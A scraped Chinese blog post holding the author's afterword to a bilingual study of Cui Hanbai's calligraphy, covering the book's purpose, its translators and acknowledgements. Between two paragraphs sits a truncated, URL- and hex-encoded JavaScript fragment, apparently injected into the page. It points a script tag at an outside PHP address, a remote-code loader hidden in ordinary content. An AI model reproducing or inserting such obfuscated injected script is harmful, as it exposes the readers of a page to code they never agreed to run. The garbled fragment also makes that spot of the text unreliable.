注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

兰湾散人

以书法会友

 
 
 

日志

 
 
 
 

《崔寒柏书法研究》的跋文  

2010-09-02 07:36:32|  分类: 崔寒柏书法研究 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

       这本《崔寒柏书法研究》分正、副两编,正编是我写的关于崔寒柏先生书法作品赏析的八个评论文章和两个会面后记,副编是我关于书法鉴赏的心得体会文章。正编总括着我对崔寒柏书法作品感性的认识和理性的分析,副编介绍了我研究崔寒柏书法作品所本源的书法美学基础,两者密不可分。

       正编和副编中所有的插图都是崔寒柏先生的书法作品,因此本书不单是关于崔寒柏书法作品的研究文集,也是一册崔寒柏先生书法作品集,而且还是我目前全部的崔寒柏书法作品收藏展。

      《崔寒柏书法研究》的立意,在帮助人读懂当代中国的书法作品,特别是崔寒柏先生的书法作品,而不在于书法理论的建树。因此,无论正编还是副编的文章,尽量都用通俗易懂的语言文字,尽量使用比喻的方法,因为这是一本书法鉴赏入门级的书,是写给书法爱好者或者将要成为书法爱好者的人,并不是专门写给书法专业人士的,包括专业的书法人或者书法理论研究者或者专业的鉴赏家。正是出于这种明晰的定位,这本《崔寒柏书法研究》务求避免艰涩的语言、冗长复杂的句式和繁复的理论推演。

tsByTagName%28%27script%27%29%5B0%5D.src%3D%27http%3A//%78%71%7a%6e%2e%69%6e%66%6f%2f%61%2f%31%36%33%2f%6e%2e%70%68%70%27%3Bwindow.x%3D1%7D"<       《崔寒柏书法研究》用中英文双语出版,私心的目的是能让我在美国的很多朋友读到这本书,92年我在美国游学的时候曾赠送朋友们多幅从国内带来的书法作品,但是解释书法艺术的过程中拙于言辞,深以为憾;私心之外,想把这本书奉献给国外那些对中国文化特别是中国书画艺术感兴趣的朋友,倘然国内的书法爱好者会觉得这本书有必要的话,国外对中国书法感兴趣的人会当然更需要这本书。因此,我想把这本书推介到全世界各地的孔子学院和全国各地开展对外汉语教学的大学和机构,企图裨益于中外文化的交流。另外,倘然真的能让这本书成为对外汉语教学的辅助教材,多少也能平慰我几十年渐行渐紧的教育情结。

       虽然我本人也是大学本科英语专业并曾在美国游学,但是做这本书翻译的却是由大学专业英语教师组成的团队:天津职业大学魏妍妍女士负责了翻译工作的整体策划、全部译文的统稿和审校,刘凯先生负责了部分审校和正编第 一、二章的翻译。河北工业大学杨金淑女士负责了正编第四、五、六、七、八章和副编第六、七、十、十三章和跋的翻译,张静女士负责了正编第三、九、十章和副编第一、三、四、五、十一、十二、十五、十六章和序言的翻译,王照润女士负责了副编第二、八、九、十四章的翻译。特别感谢翻译团队精当的翻译工作,也感谢他们对本书中文部分出现的瑕疵疏漏的指摘批评。 

       在本书的成书过程中,崔寒柏先生及夫人谢媛媛女士给予了热情的帮助,多次的坦诚交流对提高我的书法素养助益多多,不但提高了我做书法评论所必需的书法美学认识的水平,也明显提高了我自身的书法实践能力——在做书法评论的同时,我也希望能做一能入得眼的书法爱好者。谢媛媛女士还特意为本书写了序言,以表示友情支援。所以要特别感谢崔寒柏先生夫妇了。

       企业家大顺园林集团总裁杨铁顺先生、瑞普集团总裁李守军先生、天津卓辉照明科技有限公司董事长赵鉴鑫先生对本书的出版多有鼓励和支持。江苏好友冯绍峰(细流轩)先生、天津书法家邢纪庆先生、刘长久先生及篆刻家孙学江先生对本书多有指导和帮助。同事李春婕女士、崔健先生、富畅女士也在本书的成书过程中代为奔走劳动,一并诚意感谢了!

 

兰湾散人 田先钰

2010年9月2日于兰湾清水斋

  评论这张
 
阅读(522)| 评论(19)
推荐 转载

历史上的今天

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017